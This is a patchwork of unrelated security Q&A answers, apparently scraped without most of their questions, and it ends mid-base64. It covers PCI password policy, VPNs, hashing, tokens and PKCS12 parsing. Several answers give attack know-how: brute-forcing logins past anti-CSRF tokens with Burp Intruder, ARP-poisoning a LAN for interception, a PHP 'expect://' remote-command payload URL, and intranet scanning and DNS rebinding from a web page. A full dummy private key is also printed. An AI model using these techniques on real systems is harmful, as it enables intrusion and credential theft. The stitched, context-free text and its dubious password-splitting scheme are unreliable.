Unable to completely enforce password policy

There is one compensating control you can implement:
Don't allow the users to select password, instead, change the password to a random one each time the user selects to change password. Of course, only the user should know the random password, thus this password will not count as a "initial password" that needs to be immediately changed.

Second thing you can do, to solve this problem for systems that does not support password policies, are the following:

You can fulfill the policy by requiring password changes to go through a administrator or IT Desk, that will ensure the password meets the policy.

This can be implemented by splitting the password in 2.
The first half of password, you must submit to the administrator or IT Desk. The first half must meet the requirements, which the administrator or IT Desk verify.
Of course, the administrator or IT Desk should have a procedure to destroy any passwords after the change, using for example a shredder.

The second half is freeform and must, say, contain at least 8 charachters. This is not revealed to administrator or IT Desk. This part of password does not need to meet any policy.

The password change for users are then organized, that the user come to the administrator or IT Desk, and ask for have their password to X system changed.
They have to tell or write down the first part of password, and show to the desk. Then the IT Desk or administrator will ensure the shown part of password is fullfilling the policy. The IT Desk or administrator will then type in the first part of password in the change password dialog.

Then the user has to type the second part, without the IT Desk or administrator looking. The user should of course not be able to erase or change any part of the password typed by the IT Desk, nor be able to move on without their permission.
(This can be accomplished by disabling all function keys, eg backspace, tab, insert, delete, enter, alt, ctrl, and such on the keyboard, requiring a mouse to disable the lock, and the mouse is unplugged and taken away when its time for the user to enter his part)

After the user has typed the second part, the IT Desk or administrators, which cannot see the complete password because it show up as "***************", will then type the first part again, but in the "Verify password dialog".
The process repeats again with the user typing the second part again.

Then the IT administrator or IT desk press "Submit" and password is changed.

This fullfils all the requirements by the PCI DSS, but also ensures the IT Desk or administrator cannot know indivual user passwords, and also allows the IT Desk or administrator to verify that the first part of password fullfills PCI DSS rules, and also ensure it does not matches the 4 last passwords. The 4 last passwords can be stored as hashes, and the IT Desk or administrator will first hash the first part and check it don't match the 4 last hashes.

Using this scheme, you don't need to file any compensating control.

Third thing you can do, is to implement a single-sign on solution, where users are using their regular windows passwords, to sign on to services not supporting password policies. This is normally then accomplished by having the single-sign on solution set a very long, and very secure, random password, and then this password is used between the single-sign on software and the service not supporting password policies. This password can be regarded as a "key", which in PCI DSS have longer change durations (1 year is for key rotation in PCI DSS) and this "key" is used between the single-sign on solution and the service in question.


Getting payload in burp intruder dynamically from the website

The protection you are speaking is called anti CSRF tokens. These tokens are random values generated by server and which can be used only once ideally (as in this case as well).

AFAIK, you need to write custom Burp Extender to refresh the token each time for making a next request.

Another, easy way to do this is use burp intruder in Pitchfork mode with two lists. This is explained below.

Step 1: (Harvest the CSRF Tokens )

You need to do a lot (equals to number of users x number of passwords you want to test) of GET requests to the login page using wget/curl and collect the CSRF tokens to a file. Lets call this list as csrftokens.txt.

So, in csrftokens.txt file you will have valid tokens collected above like

xxxx-xxxx-xxxxx
yyyy-yyyy-yyyyy

Step 2:(Generate a single username+password File)

Take your usernames file (users.txt) and password file (password.txt) . Create a list of all possible combinations in the format same as POST request parameters submit.

sample users.txt

user1
user2

sample password.txt

password1
password2

Lets say the site original post parameters string was like

token="xxxx-xxxx-xxxx"&user="exampleuser"&password=" examplepass"

Here,you create a new file with all possible username,password combinations (users_pass.txt) like

user1"&password="password1
user1"&password="password2
user2"&password="password1
user2"&password="password2

Step3:(Tweak the Burpsuite to defeat anti CSRF tokens)

Now, in burp intruder select Pitchfork mode and edit the post parameters as below

token="§from_csrftokens.txt§"&user="§from_users_pass.txt§"

Here, you removed the password field in burp request. This will actually be comming from the users_pass.txt file.

Burp will keep submitting the requests in the format as original post request like below.

token="xxxx-xxxx-xxxx"&user="user1"&password="password1"
token="yyyy-yyyy-yyyy"&user="user1"&password="password2"
..
..

This solution needs knowledge of some scripting language for grabbing the tokens. And for generating user_pass.txt you can use a simple select on mysql database using cross join.

By using the Pitchfork mode you are make sure that you use the token only once and avoid requests getting rejected due to reuse of token.


You are right, it is not recommended to log sensitive information (passwords, session IDs, credit cards, etc) as log files may be handled less securely than storage that is specifically designed for this information.
But it is also not recommended to run debug mode in production, as it may introduce security issues. Spring Security for example documents this:

This may include sensitive information, such as request parameters or headers, and should only be used in a development environment.


You can start by reporting the website to multiple parties in order for it to be blacklisted. An example is Google Safe Browsing which ships with Google Chrome and Mozilla Firefox, you can start by filling out the form.

Decent Security also has a dedicated guide for steps to take when reporting phishing sites.


Protecting encryption of outdated software with a server

Essentially, you're looking to conduct a man-in-the-middle attack against yourself.  Squid newer than 3.1 offers a feature called sslbump that can perform this technique, where connections are decrypted then re-encrypted.  You can use dynamic certificate generation to make certificates that match the hostname correctly, but you'll need to install the Certificate Authority from Squid on your iPad.

Now that I've answered your question, I'll go for the intent -- you're trying to make yourself more secure, but I'm not convinced you are.  Did the SSL test site list specific attacks that your client is vulnerable to?  What threats are you concerned about?  Keep in mind that by proxying your connection, you're adding more complexity, and thus more attack surface, to your setup.  If your proxy server gets compromised, then 100% of your traffic will be readable by the attacker.  Also, you'll get no benefit from this setup if your iPad is not on your home network.


It sounds like you want to run a Man In The Middle attack on your local network.

Essentially, you'll ARP-Poison each host on your network, replacing the MAC of the router with yours, and on the router you'll replace each hosts MAC with yours. This will cause all traffic between your router and hosts on your LAN to transparently route all traffic through your machine - be sure your network card can handle it.

Once you have the ARP-Poisoning done, you can do whatever you like with the traffic, including sniffing with Wireshark.

If you're unfamiliar with ARP spoofing (aka ARP-Poisoning), I'd suggest using Ettercap. If you're on Windows, Cain & Abel seems to work well, though I haven't used it in ages. These programs take care of a lot of the intricacies involved with setting up ARP spoofing.


Yes, it is possible e.g. using php wrappers.

A simple RCE could be done like this :

https://yoursite.com/?img_name=expect://ls

Note: This will work only if php configuration allow wrappers.

More details here : https://highon.coffee/blog/lfi-cheat-sheet/

Edit: You might need to URL encode the payload :

https://yoursite.com/?img_name=expect%2E%2F%2Fls


It really depends on where your interests lie. There were several good talks about several topics. There was a good talk by Dave King about using Arduino as a hacking tool.
The UAV talk was particularly entertaining and was also physical computing based.
The ATM talk was a great insight into the vulnerabilities of embedded OS's, namely XP embedded, which runs on ATMs, POS devices and several other hardware solutions to sensitive data transfer.

There was a great talk on social engineering as well.

There was definitely something for everyone, make sure you make it this year and we'll hook up for some partying.


Why is it necessary to minimize redundancy in the ciphertext of a stream cipher?

The main problem with the bug you are describing is that 0 appears more frequently in certain bits of the output stream. The most common attack is that an attacker can make a victim create millions of connections to a server, while observing the network traffic.

To give an example, let's change 'bit' to 'byte', increase the chances and see what happens.

Let's say:

I have a secret cookie with the value 'a';
I have some kick-ass stream cipher that output random bytes;
an attacker can make me perform millions of connections to a server;
on every request, the first character for my plaintext is my cookie ('a') followed by some other plaintext;
encryption is an xor of plaintext with the bytes generated from the stream (like with RC4);
that attacker can monitor my network traffic.

With every new connection I make to the server, a new random stream is generated. This means my cookie ('a') will be xor'ed with a random byte every time. Because this happens uniformly random, our attacker can't deduce information about the cookie, as the chance of 'a' xor any character is 1/256.

Let's now introduce a flaw to our stream cipher. For the first byte, it has a tendency to output 'b' with a 10% chance, and it has a 90% chance to output any other character. Now, if the attacker has me create 10 connections to the server, there is a 1/10 chance that 'b' xor 'a' appears as the first byte of ciphertext, instead of the previous 1/256. So after 100 connections, 'b' xor 'a' should have appeared about 10 times, etc etc.

Keep in mind that there are also other types of attacks on RC4. The summary of attacks on Wikipedia is actually very nice:

https://en.wikipedia.org/wiki/RC4#Security


Backing up PCI data outside of the cardholder data environment

When you create an ACL and allow your backup environment to access your CDE, it means your backup servers and the flow on the way to those servers are also in PCI scope. You can either create another big workload to yourself for auditing this new scope and creating MFA for this flow or you go with the option you think.
I would go with a service inside the scope and make sure data is stored in a safe and different place from the other backups. (check PCI v3-2-1 requirement 9.5.1)
Link: https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf


Security about window.opener and iframes

You are looking for the "sandbox" attribute : https://developer.mozilla.org/en/docs/Web/HTML/Element/iframe

  allow-top-navigation: Allows the embedded browsing context to navigate (load) content to the top-level browsing context. If this keyword is not used, this operation is not allowed.


You've exposed the reputation of your site. If your site is used as part of a phishing or other attack where you redirect users, your domain may be blacklisted.

This may prevent you from sending or receiving email on that domain.

Your domain may be blocked by corporate filters if it's linked to malicious activity.

Google might mark your site as malicious and warn users.

There are indirect costs associated with being used in malicious activity, and while it may not directly be your fault you still may pay the price.


Securing Client-Server Architecture with VPN or a SSL-connection?

The main advantage of a VPN over a simple TLS connection (which HTTPS is) is that the VPN authenticates the client. TLS can do this as well; just use mutual TLS (TLS with client certificates), which nearly all TLS server and client
implementations (including HTTPS servers and clients) support. Create and install a unique client certificate (with a unique private key, and the cert signed by an internal CA) on every mobile terminal, and you can use that to provide the same level of client authentication as a VPN. You can then use the client certs to tell which terminal is connecting, before they even send any HTTP traffic.

Another advantage of a VPN is that it can collect all traffic from the host, not just from one application. However, if you don't care about traffic from other applications (ether because they don't exist or because you don't want them routing through your servers anyhow) and the application itself is well-audited to ensure it never establishes a HTTP connection instead of an HTTPS one, the VPN provides no value in this way.

Other things a VPN can provide:

Client security / health checks... but those can be spoofed anyhow, because it's impossible to write a client that cannot be spoofed (although, for DRM purposes, much effort has been spent on finding ways to make spoofing hard).
Concealing multiple streams of traffic (such as multiple UDP or TCP/HTTPS connections) within one connection. If you care about this, you'll need to use VPN or another tunneled connection, yeah.
Concealing and securing DNS queries, which are otherwise sent in plain text and can be tampered with. Assuming you care about your adversaries being able to tell what DNS requests you're making - which you probably don't; if your VPN tunnel is only used for one thing then that's as good a level of information to an outside actor - this is a risk, but it can be mitigated by just storing the domain name -> IP mapping locally (perhaps in the device's HOSTS file) or by using DNS-over-HTTPS (which is new and may not be supported by your DNS client yet, but is available now through some providers). Alternatively, you can set up (and require) DNSSEC, but that only prevents tampering with the response, not an eavesdropper seeing what site you're requesting.


How can one securely hash passwords server side while avoiding DoS?

You could, in addition to using a slow hash function, limit the number of requests per second a particular user could send. For instance, if you're getting 30 failed login requests from a particular IP address, then you could delay the responses to that address, or drop them all together.

Slowing hash functions is designed to make it impractical to carry out a brute force attack if an attacker gets access to the password database. There should still be precautions built into the server as well.


How can the secret and keys be read out from the bus?

Do you mean the buses between chips, or within a single chip?

If the first case, yes, it's quite practical. For example, Andrew "bunnie" Huang describes doing it in detail in chapter 8 of his book Hacking the Xbox.

In the second case, it is much harder. You need to decapsulate the chip without destroying it and then probe the wires within the chip. This can be, and is, done, but it is much more expensive. Chips can be probed with (very small) physical wires, with an electron-beam probe, or by observing infrared light emitted by PN junctions on the chip.


Ensuring integrity of broadcast messages between known network nodes

Using broadcast messages (or multicast) is usable for continuous streams like 100 status updates per second and distributing it to thousands of nodes in real-time. It is also good for streaming video. Now the thing is that in this scenario some packets can be dropped and often never recovered as it's one-way communication.

Another thing is that if every node can send message to every another node it is very inefficient. This is because for N nodes you have N^2 connections / streams to manage, and for example if one node get glitchy all is slowing down, or if there are plenty of nodes it's also slowing down, as doing messaging on one's own is not as efficient and reliable as it is with mature software plus the architecture is inefficient too.

So the most optimal solution is to use message queue, the way you deploy additional nodes and their role is to serve as message brokers. So every instance would be able to send message to them and receive messages from it. This way you can use TLS and username/password to connect to the message server (and your nodes can make sure that remote TLS cert is the right one). Ideally you could also create dedicated VLAN for this so no-one can connect to it by plugging something.

Example servers:

rabbitmq
activemq
more of them on queues.io

You can also use standard SQL Database, for example MariaDB, PostrgeSQL, SQL Server, Oracle DB etc. Since these databases have table level and sometimes row-level locking as well transaction isolation they are excellent for messaging. And now, if you are fearing that someone can connect to VLAN and pose as the database you do really need to put this on dedicated VLAN.

You can use any Layer 2/3 switch which can act as default gateway and has VLAN support.


Does the Mebromi BIOS flashing rootkit mean APTs for personal computers are here?

First, APT does not refer to exploits, rootkits etc.,  but to the threat actors and the organisation behind them.

That said,  bios  and firmware attacks have been around for a while.  The only change here is the same one any class of attacks goes through: they have become commoditised.

This doesn't change the approach of find, patch etc.,  but it does mean that a compromised machine may require cleaning at firmware and hardware level,  not just OS.


How to pick an encryption algorithm (cipher) and mode for PHP's mcrypt, for encrypting passwords?

You generally don't want to encrypt passwords as that opens the door to them being stolen. Instead you want to hash them, a one-way operation is mathematically impossible (or at least very hard) to reverse. This means that stealing password hashes will never lead to stealing passwords.

PHP has a great set of functions for this: password_hash and password_verify. Just use them with the default values and you'll get state of the art technology automatically. See this reference for background.


How to check executable code signing signatures?

You can use the free osslsigncode tool for this:
https://github.com/SummitRoute/osslsigncode-fork

  osslsigncode verify my.exe

UPDATE: The binary installed through MSYS2 using the command below is a better option (updated and non-Cygwin dependencies):

  pacman -S mingw-w64-{i686,x86_64}-osslsigncode


With HTTPS, can I reliable know client domain for authenticating them against my API

Have you seen Macaroon Tokens? I've always wanted to use them for authorization processes but haven't had the chance, however they seem like a potential match for your use case.

Here's the research paper and here's a very simple demo tool.

You could for example add several caveats such as client's IP or other similar fingerprint so that a stolen macaroon can't be used elsewhere. Or maybe you can restrict the expiry time to 1 minute or even require a macaroon per request (i.e. chat message or something perhaps?).

Unfortunately for some reason there doesn't seem to be wide adoption of this very cool concept, so a lot of the stuff is old and not sure how maintained the different libraries are, so the usefulness might be limited for you, depending on your case.

However the most common technique I've seen is basically just using cookies (with short expiration times, depending on your use case) to keep server-side session identifiers, which you can use to control access. Just make sure you use HTTPS to send them.

Edit to address the comment:

Here's a javascript library for Macaroons.

What I meant by fingerprinting was getting some kind of info from the user (when they login) and adding them as a Macaroon caveat. e.g.

Add a valid email for that "namespace" such that user X in namespace N can't just jump in to namespace M.
Build a whitelist with the known range of IPs for each client that have authorization to access their chat. You can try to determine the IP via WebRTC leak but that requires a browser that supports WebRTC, and the leak might be fixed later on, depending on the browser.

The answer to determining the client's IP will depend on your particular use case. There's lots of different solutions there that have a variable amount of cost/benefit ratio that only you can evaluate.

For example, you could use a Node server, but if you don't have one already, this might be costly in terms of new infrastructure, code, etc. Maybe you have a Tomcat server that you can already use to find the IP and can plug into that, etc. But they all have different security implications and associated costs, so this would be a broad question.

Edit:

I've also read some comments regarding how insecure JWT's are if you are using them for client-side sessions. So I might add this just in case someone recommends it.

This article: JSON Web Tokens should be avoided spurred some discussion by people that work in the field, for example this comment by Thomas Ptacek.

Small extract:

  The issue with JWT in particular is that it doesn't bring anything to
  the table, but comes with a whole lot of terrifying complexity. Worse,
  you as a developer won't see that complexity: JWT looks like a simple
  token with a magic cryptographically-protected bag-of-attributes
  interface. The problems are all behind the scenes.


Why is browsing while logged onto a VPN from public wifi more secure than not?

The thing about a VPN is that the connection between your computer and the VPN end point is encrypted.

If you go to Joe's Coffee House and use their public WiFi, depending on the configuration it is possible that anyone in the range of your WiFi radio can snoop on your traffic.  Even if Joe has secured his WiFi properly, anyone with access to the physical equipment (not necessarily Joe, but anyone with access) can tap the connection at the transition from WiFi to wired, where the WiFi encryption no longer protects the signal.

If, instead of connecting directly to wherever you want to go, you connect to a VPN, and from the VPN's endpoint connect to your destination, then everything that passes through Joe's is encrypted.  Your data could be sent in the clear from the VPN's endpoint to the destination, so you need trust in the VPN's endpoint.  From the endpoint of the VPN, your packets travel exactly the same path they'd travel if your computer were physically located at the VPN endpoint.  The VPN protects your egress from a network the trustworthiness of which is suspect.

Finally, most sensitive web sites these days, and many that are not, use TLS encryption.  Give or take a POODLE attack†, without the VPN, a snooper at Joe's could see where you connected, but not what you send.  With a VPN, the snooper can only see that you connect to the VPN, and not that you then connect to Bob's Bank in the trailer on main street.

† In 2020, POODLE attacks should be completely mitigated; to be vulnerable, you'd need both an antique browser and a server not updated since about 2016.


multiple dice ware lists to make memorable passphrases?

While they don't directly answer your question, I think that reading up some of the other password-related questions on this site will help you think through this process.  I would start quite simply with this question, which is also the most upvoted question on this site.  Together, the answers really break down the relevant security and usability concerns:

XKCD #936: Short complex password, or long dictionary passphrase?

The short of it (as you seem to understand) is that any password generation strategy ultimately boils down to entropy, which can roughly be understood as "randomness".  Selecting 7 times from a word list with 7,776 words would give you a total of approximately 1.719e27 possible passwords, or approximately 90 bits of entropy.  The fact that you switch between lists for the given word order doesn't really change the picture substantially (you technically have more words to chose from, but you switch between the list of choices in a predictable fashion).  As a result, from a strictly-entropy standpoint, this isn't substantially stronger or weaker than a more standard diceware generation pattern.  On the other hand, if it makes it easier to remember the password, it would at least be a usability improvement, and that is always a good thing.

That being said, both are certainly "secure enough" for the foreseeable future.  Relevant would be this thread that talks about a password with 80 bits of entropy:

Is an 80 bit password good enough for all practical purposes?

And this looks at the practical limits for cracking password hashes:

https://security.stackexchange.com/a/13016/149676

All of which boils down to the same thing: cracking a password with 90 bits of entropy would likely cost more than the entire economic output of the USA, but you are still vulnerable to phishing, social engineering attacks, and the like.


Does fingerprint scanning on Microsoft Authenticator increase security?

It does increase security of your Microsoft Authenticator account. In android, apps can use TEE (Trusted Execution Environment) to encrypt authentication token and secrets. When a user wants to login, app requests for biometric or PIN authentication backed by TEE. If authentication succeeds, TEE decrypts authentication token for account login and other data that app wants it to be tamper-resistant and secret.
In most cases, TEE actually decrypts the key that encrypts app's sensitive data. In this way, apps get little more control on when and what they want to decrypt.
Microsoft Authenticator might be using biometric authentication for account login and account holder verification. Verifying the account holder is common in banking apps and it is as much useful for password managers and TOTP generators. Another purpose app based authentication serves is physical theft when the device is unlocked. There's no workaround to infiltrate the app if the authentication is backed by TEE. Reinstalling the app or clearing app data flushes app's associated key(s) in TEE as well.
As for android version, there's no justifying reason to enforce biometric in android 10 but not in android 8. Apps are backward compatible with previous android versions and the minimum android version to support is set at build time. But apps can show and hide some features based on android version. From Android 8+ onwards, biometric authentication is supported and backed by TEE. However, there have been improvements in hardware backed keystore and biometric authentication in each successive android version. It could be that the developers didn't test biometric authentication for android 8 or it wasn't enabled by default in that version.


This depends on your firewall solution. What you are talking about sounds like Layer 7 Content Filtering. This is not as common as Layer 3 IP filtering but is supported on some more advanced firewalls.

To address your question of being able to differentiate between connections to the same IP but different hostnames:

This is very easy to do with websites as the hostname is transmitted in the HTTP header and can be easily identified by the firewall. If you want to do this with SSL/TLS you will get a certificate error unless the proper CA is installed on the client, this is because the firewall needs to act as a Man-In-The-Middle to decrypt, inspect, and re-encrypt the data in order to see the hostname.

If you were wanting this functionality for other services, such as SSH as you suggested, this is much more complex. There are no headers or any other indications of a hostname in many other protocols such as SSH. Some advanced firewalls may offer enough configuration flexibility to help address this, but it wouldn't be a fool proof solution. This would likely be done on the DNS level and either serve a bad IP for the banned hostname, or block the IP after a DNS request was made for banned hostname.

Edit: After re-reading your question, I am not sure why I assumed you were talking about outbound filtering. If you are talking about inbound filtering, then the last bit about DNS doesn't really apply.


When I upload a file on browser, will the server know my file path or disk info?

No it will not. The only thing the server will receive is the raw contents of the file itself and the name of the file. It will not get any other information such as path or file metadata (creation date, etc).


If you're generating the tokens in a secure random fashion, then an attacker cannot infer the next token from the previous ones. So there shouldn't be any realistic risk.

Another important point here is to use SSL. Any proxies/reverse proxies between the user and the server cannot even see the GET parameters to log them. The only places where the token is logged is on the two ends of the SSL connection.

Logging on the user's end (History, for example) happens after the link is clicked. Logging on the server's end carries no risk (if you don't trust the place where the SSL traffic is decrypted, then there are bigger problems).


How to use login details to make a key for AES encryption and decryption

As in the question use a key derivation function such as PBKDF2 or better yet if available Argon2.

Just feed in the login credentials along with a random value, the random value can be saved with the credentials, it just ensures that the same credential from another user will not produce the same key. The key derivation function will provide the key of the appropriate size.

But keep in mind that getting encryption correct (secure) is hard, if this is a real project get your scheme and code reviewed by a seasoned crypto expert.


I found a solution as I was looking for;

http://blog.engelke.com/2015/03/03/creating-x-509-certificates-with-web-crypto-and-pkijs/

But I'll try pem modulus at first. Because it works on back-end and seems more simple.


How can a webpage scan my local, internal network from the Internet?

On the application layer, your browser has no notion of internal and external IP addresses. So any website can simply tell your browser to request a resource from your internal network. This wouldn't get blocked since for the browser it's just an ordinary cross-origin request. Note that the requesting site won't be able to read anything, it could just conclude that something is there.

For example, a website could try to find out if your router has a web interface at 192.168.1.1 by using a snippet like this:

<img src="http://192.168.1.1/favicon.ico" onload="alert('Yay')" onerror="alert('No')">`

Similarly, a website can make you request resources from internal IP addresses (and at almost arbitrary ports) and measure the response times to conclude that there is a service running: E.g., if a request to http://localhost:8080 has a short response time, you might be running a local proxy or similar.

If you cascade such requests, you can somewhat make the browser conduct a  basic network scan and infer about existing IPs, hostnames and services.

This idea is also used for actual attacks. Even if your router interface isn't accessible from outside, an external attacker could execute an attack like the recent Netgear router arbitrary code execution exploit by tricking you into visiting a prepared website that makes you conduct the attack yourself by issuing a specially crafted request to the router interface. (Essentially a CSRF attack on the intranet.)

One way to mitigate the risk of intranet access is the ABE (Application Boundaries Enforcer) module of the NoScript extension that can be configured to block particular hosts.

Can an attacker really not read any content?

Often they can read the content of an intranet site by conducting a DNS rebinding attack. Say, your router interface is accessible at 192.168.1.1/info.cgi. In a DNS rebinding attack, the attacker makes you visit  attacker.com which they first point to their own server's IP, load some Javascript, and then point it to 192.168.1.1. When the Javascript then requests attacker.com/info.cgi, it's instead resolved to you router interface and the script is able to read the response content. This doesn't violate the same-origin policy because all requests are on the same origin (the domain attacker.com), although the DNS entry switches in the background. (As a countermeasure, sites should verify that the Host header contains either the IP or the intranet name. But lots of routers don't do that.)


Java KeyStore vs OpenSSL implementations of pkcs12 files -They seem to differ. Do they?

TLDR: yes, this is a difference. Note the Java KeyStore API allows different passwords, but the keytool commandline program rejects attempts to create a PKCS12 with the keypass different from the storepass, precisely because such files are not interoperable.

But if you really want, you can extract the information, mostly following https://stackoverflow.com/questions/51242721/openssl-debugging-how-to-dump-intermediate-asn-1-inside-openssl

$ ll se230* # this file created by Java with keypass different from storepass
-rw-r--r--. 1 [redacted] 1506 Apr 28 01:24 se230650.p12
$ openssl pkcs12 <se230650.p12 -passin pass:sekrit   # and gets your error
MAC verified OK
Bag Attributes
    friendlyName: mykey
    localKeyID: 54 69 6D 65 20 31 35 38 38 30 35 31 34 35 32 31 36 34
Error outputting keys and certificates
139841232930632:error:06065064:digital envelope routines:EVP_DecryptFinal_ex:bad decrypt:evp_enc.c:596:
139841232930632:error:23077074:PKCS12 routines:PKCS12_pbe_crypt:pkcs12 cipherfinal error:p12_decr.c:104:
139841232930632:error:2306A075:PKCS12 routines:PKCS12_item_decrypt_d2i:pkcs12 pbe crypt error:p12_decr.c:130:

First get the cert(s), which use the storepass so OpenSSL can handle them -- and verify the MAC:

$ openssl pkcs12 <se230650.p12 -passin pass:sekrit -nokeys
MAC verified OK
Bag Attributes
    friendlyName: mykey
    localKeyID: 54 69 6D 65 20 31 35 38 38 30 35 31 34 35 32 31 36 34
subject=/CN=dummy
issuer=/CN=dummy
-----BEGIN CERTIFICATE-----
MIIBjjCB+AIBezANBgkqhkiG9w0BAQUFADAQMQ4wDAYDVQQDEwVkdW1teTAeFw0y
MDA0MjgwMTI0MTFaFw0yMTA0MjkwMTI0MTFaMBAxDjAMBgNVBAMTBWR1bW15MIGf
MA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCzAzdcre9ENIictTSr87E/0B7G6AYi
BA9BrBCXh8TMHjbXdIDEJT0TvrRqO2pt1y2QCtoqUcW1sZTEmNIIdZzmQZvsfwy7
BB/ZOo7NqVj2MMBwYw50BU/L+ZDBQafTPs+AjvlvWRDMs/JkWQj/skR3vY6KJf51
FKbKuzHHQxuJzwIDAQABMA0GCSqGSIb3DQEBBQUAA4GBAC1IvPSY/2P2+AKlMm48
CmrZLYMqkHFRYCWhOJt2XcbVhHhNYOD3DVZOPIJuKBGqDyGJIQEPvsptvBlH7F+X
VEeRcAVVSCd9zG43WrPBakoxAKsq53lBVq0h2EYJtkcoh1cjJa1zVWJFd8+FF8x7
da047UEJC5TQX6jlkSt3kAmm
-----END CERTIFICATE-----

Now look at the file:

$ openssl asn1parse -i -inform d <se230650.p12
    0:d=0  hl=4 l=1502 cons: SEQUENCE
    4:d=1  hl=2 l=   1 prim:  INTEGER           :03
    7:d=1  hl=4 l=1432 cons:  SEQUENCE
   11:d=2  hl=2 l=   9 prim:   OBJECT            :pkcs7-data
   22:d=2  hl=4 l=1417 cons:   cont [ 0 ]
   26:d=3  hl=4 l=1413 prim:    OCTET STRING      [HEX DUMP]:30820581[BIG snip]
 1443:d=1  hl=2 l=  61 cons:  SEQUENCE
 1445:d=2  hl=2 l=  33 cons:   SEQUENCE
 1447:d=3  hl=2 l=   9 cons:    SEQUENCE
 1449:d=4  hl=2 l=   5 prim:     OBJECT            :sha1
 1456:d=4  hl=2 l=   0 prim:     NULL
 1458:d=3  hl=2 l=  20 prim:    OCTET STRING      [HEX DUMP]:[snip]
 1480:d=2  hl=2 l=  20 prim:   OCTET STRING      [HEX DUMP]:[snip]
 1502:d=2  hl=2 l=   2 prim:   INTEGER           :0400

and find the authSafe:

$ openssl asn1parse -i -inform d <se230650.p12 -strparse 30
    0:d=0  hl=4 l=1409 cons: SEQUENCE
    4:d=1  hl=4 l= 798 cons:  SEQUENCE
    8:d=2  hl=2 l=   9 prim:   OBJECT            :pkcs7-data
   19:d=2  hl=4 l= 783 cons:   cont [ 0 ]
   23:d=3  hl=4 l= 779 prim:    OCTET STRING      [HEX DUMP]:30820307[BIG snip]
  806:d=1  hl=4 l= 603 cons:  SEQUENCE
  810:d=2  hl=2 l=   9 prim:   OBJECT            :pkcs7-encryptedData
  821:d=2  hl=4 l= 588 cons:   cont [ 0 ]
  825:d=3  hl=4 l= 584 cons:    SEQUENCE
  829:d=4  hl=2 l=   1 prim:     INTEGER           :00
  832:d=4  hl=4 l= 577 cons:     SEQUENCE
  836:d=5  hl=2 l=   9 prim:      OBJECT            :pkcs7-data
  847:d=5  hl=2 l=  40 cons:      SEQUENCE
  849:d=6  hl=2 l=  10 prim:       OBJECT            :pbeWithSHA1And40BitRC2-CBC
  861:d=6  hl=2 l=  26 cons:       SEQUENCE
  863:d=7  hl=2 l=  20 prim:        OCTET STRING      [HEX DUMP]:[snip]
  885:d=7  hl=2 l=   2 prim:        INTEGER           :0400
  889:d=5  hl=4 l= 520 prim:      cont [ 0 ]

and the first safebag, which contains the keybag:

$ openssl asn1parse -i -inform d <se230650.p12 -strparse 57
    0:d=0  hl=4 l= 775 cons: SEQUENCE
    4:d=1  hl=4 l= 771 cons:  SEQUENCE
    8:d=2  hl=2 l=  11 prim:   OBJECT            :pkcs8ShroudedKeyBag
   21:d=2  hl=4 l= 690 cons:   cont [ 0 ]
   25:d=3  hl=4 l= 686 cons:    SEQUENCE
   29:d=4  hl=2 l=  40 cons:     SEQUENCE
   31:d=5  hl=2 l=  10 prim:      OBJECT            :pbeWithSHA1And3-KeyTripleDES-CBC
   43:d=5  hl=2 l=  26 cons:      SEQUENCE
   45:d=6  hl=2 l=  20 prim:       OCTET STRING      [HEX DUMP]:EF7420960D29A9A2E69AE4FD35A6ACBE87F46BD0
   67:d=6  hl=2 l=   2 prim:       INTEGER           :0400
   71:d=4  hl=4 l= 640 prim:     OCTET STRING      [HEX DUMP]:[big snip]
  715:d=2  hl=2 l=  62 cons:   SET
  717:d=3  hl=2 l=  25 cons:    SEQUENCE
  719:d=4  hl=2 l=   9 prim:     OBJECT            :friendlyName
  730:d=4  hl=2 l=  12 cons:     SET
  732:d=5  hl=2 l=  10 prim:      BMPSTRING
  744:d=3  hl=2 l=  33 cons:    SEQUENCE
  746:d=4  hl=2 l=   9 prim:     OBJECT            :localKeyID
  757:d=4  hl=2 l=  20 cons:     SET
  759:d=5  hl=2 l=  18 prim:      OCTET STRING      :Time 1588051452164

and since it is a PKCS8-encrypted, as it should be, just copy it:

$ dd if=se230650.p12 of=se230650.key bs=1 skip=82 count=690
690+0 records in
690+0 records out
690 bytes (690 B) copied, 0.0020009 s, 345 kB/s
$ openssl pkcs8 -in se230650.key -inform d -passin pass:foobar   # note different pw
-----BEGIN PRIVATE KEY-----
MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALMDN1yt70Q0iJy1
NKvzsT/QHsboBiIED0GsEJeHxMweNtd0gMQlPRO+tGo7am3XLZAK2ipRxbWxlMSY
0gh1nOZBm+x/DLsEH9k6js2pWPYwwHBjDnQFT8v5kMFBp9M+z4CO+W9ZEMyz8mRZ
CP+yRHe9jool/nUUpsq7McdDG4nPAgMBAAECgYBp+y17oT5WkwOOQ3m7k7sMnJqc
CCIZYW3m44evLqJEdl7hkAfsGF/goLcPbb3E6e//p20iQOdcepYpDpDKkVchunRX
NPM4BcdGy9Df/V+u1PpfY4ZQeGVYfQe4Aeg+8gMJKvKK3fhLqapqgPmR0KJPUKPo
DXYH3DoqwPM9sXSHAQJBAPqZrwpfIBIVz+VZ+r6IZebNeQuMaPdIXDYEPsBX9E5Q
0NzWaGyvUxku31NBwDLJD949Q68BKn4IX6sidWOqFGkCQQC23qcsML1NCudR4hZH
0kcZpOxgcYxiBaLXtfbhzG8ujiGCqPQGAz7ldw/Endjs0n+2BP+ezQMaxnzUiIUK
tgV3AkEA6x0rM7Dh1vXt8kGEViSEbpGSonoetPqHwQokkbMzfBKokrj6ihXIAhWO
438JwtwO7jROfy+53Tsf/uC6gEI/GQJBAJLGKFU+lWGVw84j8ZAZxTle9t39pRgz
v9z0zr+yrvYl292cL6f3yO6x3jUIIEkMNrboUiaqE7jU4PJQ1L+hEscCQC1IXh1X
1CL1ZGvyEqQCgk8ODxDpTAGIQRpi3zy3nO4hanaxiDgaEhAiwwqL2uJn4cjssQg8
q9TTgH0RrLGrZ50=
-----END PRIVATE KEY-----
$ # add -passout pass:value (or other option) if you want the output privkey encrypted

Here's a copy of my file if you want to test/compare for yourself:

$ openssl base64 <se230650.p12
MIIF3gIBAzCCBZgGCSqGSIb3DQEHAaCCBYkEggWFMIIFgTCCAx4GCSqGSIb3DQEH
AaCCAw8EggMLMIIDBzCCAwMGCyqGSIb3DQEMCgECoIICsjCCAq4wKAYKKoZIhvcN
AQwBAzAaBBTvdCCWDSmpouaa5P01pqy+h/Rr0AICBAAEggKANIjyFsrUNyha6efL
